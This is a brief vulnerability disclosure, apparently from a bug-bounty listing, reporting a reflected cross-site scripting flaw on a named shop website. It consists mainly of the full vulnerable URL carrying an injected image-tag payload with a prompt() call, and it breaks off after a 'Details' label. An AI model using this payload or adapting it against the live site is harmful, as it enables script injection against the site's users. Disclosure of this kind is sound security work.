shop.usana.com XSS vulnerability

Vulnerable URL: https://shop.usana.com/shop/jsp/shop/MxZipCodeLookup.jsp?pgAction=mxlookup=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=MX=shippingAndPaymentInfo=shippingInfopostalCode&street3Field;=shippingInfoaddress3=shippingInfocity=shippingInfostateCode Details: Description|...